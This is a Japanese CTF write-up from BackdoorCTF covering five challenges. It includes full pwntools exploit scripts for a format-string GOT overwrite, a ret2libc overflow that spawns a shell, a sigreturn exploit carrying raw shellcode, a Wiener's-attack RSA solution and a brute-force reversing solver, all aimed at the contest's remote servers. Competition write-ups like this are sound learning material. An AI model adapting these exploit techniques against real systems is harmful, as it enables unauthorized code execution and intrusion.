# backdoor ctf --- 今回はHungrycaterpillar(solo)で参加した 最終的な順位は48位で1200ptだったみたいです。 THE-WALLが解けなくて悔しかった... ## baby-0x41414141 やるだけの問題 fgetsした後にprintfするが第一引数に送信した文字列が入るためFSBが存在する。 加えて__chk_printfではないため書き込みが可能となっている exitを読んで終了してしまうのでexitを書き換える ```python= from pwn import * context(os='linux',arch='i386') con =None #nc 163.172.176.29 9035 HOST='163.172.176.29' PORT=9035 if len(sys.argv) >1 and sys.argv[2] == "r": con = remote(HOST,PORT) else: con = process('./baby') exit_got=0x804a034 payload="" payload+=p32(exit_got) payload+=p32(exit_got+1) payload+=p32(exit_got+2) payload+=p32(exit_got+3) payload+="%181x%10$hhn%124x%11$hhn%125x%12$hhn%260x%13$hhn" con.recvuntil("\n") con.sendline(payload) con.interactive() ``` ## just-do-it 最近just-do-itなる問題が出るがこれ https://www.youtube.com/watch?v=TmOniZfBw34 が頭によぎる また普通にオーバーフローする問題 アドレスリークするように組み立てた後、system("/bin/sh")する - write(stdout , read_got , 4);した後もう一度main関数に飛ばす - 二回目のmain関数でsystem("/bin/sh");する ```python= from pwn import * context(os='linux',arch='i386') con =None #nc 163.172.176.29 9036 HOST='163.172.176.29' PORT=9036 if len(sys.argv) >1 and sys.argv[2] == "r": con = remote(HOST,PORT) else: con = process('./just') main = 0x0804847d read_got = 0x804a018 write_plt = 0x8048370 payload ="A"*0x70#padding payload +=p32(write_plt) payload +=p32(main) payload +=p32(1) payload +=p32(read_got) payload +=p32(4) print(con.recvuntil("\n")) con.send(payload) libc = ELF('./libc_just') req = con.recvuntil("H") print(req) leak_read = req[-5:-1] leak_read = u32(leak_read) print(hex(leak_read)) libc_base = leak_read - libc.symbols['__libc_start_main'] print(hex(libc_base) ) print(con.recvuntil("\n")) payload ="A"*0x68 payload +=p32(libc_base+libc.symbols['system']) payload +=p32(0xdeadbeef) payload +=p32(libc_base +0x15900b) con.send(payload) con.interactive() ``` ## COMPLEX-RSA 念入りに二回暗号化した問題 - 二回暗号化されるがNが使いまわされている - 二回目の暗号化に使われるeが大きい値である 二回目の暗号化に使われているeが大きいのでWiener's Attackを疑って試したがだめだった。 そこで次の式を試した 一回目の暗号化で出てくる暗号文をc1、二回目に出で来る暗号文をc2とする。(二回目はflag.encと同じ) 一回目のeをe1、二回目のeをe2としmは平文として式を立てると c1 = m^e1 mod n (m^e1 ÷n = k1 ...c1) c2 = c1^e2 mod n (m^e2 ÷n =k2 ...c2) 二つの式より c2 = (m^e1 mod n)^e2 mod n となるので簡単にすると c2 = m ^(e1 * e2 ) mod n e2が大きな値となっているためe1をかけることでさらに大きくなる。 試しにもう一度Wiener's Attackに通すと 秘密鍵dを得ることができた m = c2 ^d mod n m =CTF{c0n6r47zzz_y0u_f0und_0ur_h1dd3n_w13n3r!!} ## funsignal systemcall の一つであるsigreturnの問題だった sigreturnはスタックからレジスタを復元するために用いられるらしい そのsigreturnで0x1000023にあるflagを読めれば勝ち 普通にwrite(stdout ,flag_area , 0x40); すればよかったのだがうまく動かなかったみたいなので 二回のsigreturn を使ってシェルコードを書き込みflagをとった 一回目は0x10000200あたりにもう一度sigreturnできるよう書き込んだ 一回目で既知のアドレスに飛ばせたので二回目でシェルコードを書き込みripを設定してフラグを読むことができた ```python= from pwn import * context(os='linux',arch='i386') con =None HOST='163.172.176.29' PORT=9034 if len(sys.argv) >1 and sys.argv[2] == "r": con = remote(HOST,PORT) else: con = process('./player_bin') syscal = 0x10000015 flag_area = 0x10000023 payload=p64(0xdeadbeef)*5 payload +=p64(0)*8 payload +=p64(0)#rdi payload +=p64(0x10000200)#rsi payload +=p64(0x10000200)#rbp payload +=p64(0)#rbx payload +=p64(0x400)#rdx payload +=p64(0)#rax payload +=p64(0)#rcx payload +=p64(0x10000200)#rsp payload +=p64(0x1000000b)#rip payload +=p64(0) payload +=p64(0x33) payload +=p64(0xdeadbeef)*4 payload +=p64(0)*3 payload +="\x91"*(0x400-len(payload)) con.send(payload) payload=p64(0xdeadbeef)*5 payload +=p64(0)*8 payload +=p64(0)#rdi payload +=p64(0x10000200)#rsi payload +=p64(0x10000200)#rbp payload +=p64(0)#rbx payload +=p64(0x40)#rdx payload +=p64(0)#rax payload +=p64(0)#rcx payload +=p64(0x0000000010000200)#rsp payload +=p64(0x0000000010000318)#rip payload +=p64(0) payload +=p64(0x33) payload +=p64(0xdeadbeef)*4 payload +=p64(0)*3 payload +=p64(0x10000250)*2 payload +=p64(0x9090909090909090)*0x10 payload += "\x48\xc7\xc7\x01\x00\x00\x00" payload += "\x48\xc7\xc6\x23\x00\x00\x10" payload += "\x48\xc7\xc0\x01\x00\x00\x00" payload += "\x0f\x05" payload += "\x90"*(0x400-len(payload)) con.sendline(payload) con.interactive() ``` ## no-calm reversing の問題だった 引数に文字列をスペースで切って入力しあっていたらhackedとひょうじされる 入力した文字がそのままフラグになる 31文字でないとそのままプログラムは終了する 簡単な計算しかしていないので総当たりで出した - 一文字目と二文字目を足して三文字目を引く - 一文字目から二文字目を引いて三文字目を足す - 二文字目から一文字目を引いて三文字目を足す この三つの操作しかない。この三つの操作を行った後にtest内の値と同じであればよい さすがに汚すぎたので少しいじったため動かないかもです ```python= test = [0x51,0x35,0x57,0x5a ,0x9c ,0x42,0x62,0x8c,0x5c,0x26,0xaa,0x3c,0x1d,0xa1,0x45,0xa3,0x1b,0x45,0x93,0x2b,0x3b,0x92,0x56,0x2c,0x43,0x59,0x4b,0x75,0x7d,0x7d] my_map="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}!\"#$%&\'()=-|;+:<>" go="" ans="CTF" for i in range(9): good_flag =False temp ="" for k in range(len(my_map)): for l in range(len(my_map)): for m in range(len(my_map)):  if ord(my_map[k])+ord(my_map[l])-ord(my_map[m]) == test[3*(i+1)] and \ (ord(my_map[k])-ord(my_map[l])+ord(my_map[m]) ) ==test[3*(i+1)+1] : if ord(my_map[l])-ord(my_map[k])+ord(my_map[m]) == test[3*(i+1)+2]: good_flag=True temp = my_map[k] temp += my_map[l] temp += my_map[m] break if good_flag==True: break if good_flag == True: break if good_flag == True: print hex(test[3*(i+1)])+" "+hex(test[3*(i+1)+1])+" "+hex(test[3*(i+1)+2]), print temp go += temp print ans+go ``` flag = CTF{Now_th1s_1s_t0_g3t_ANGRyy}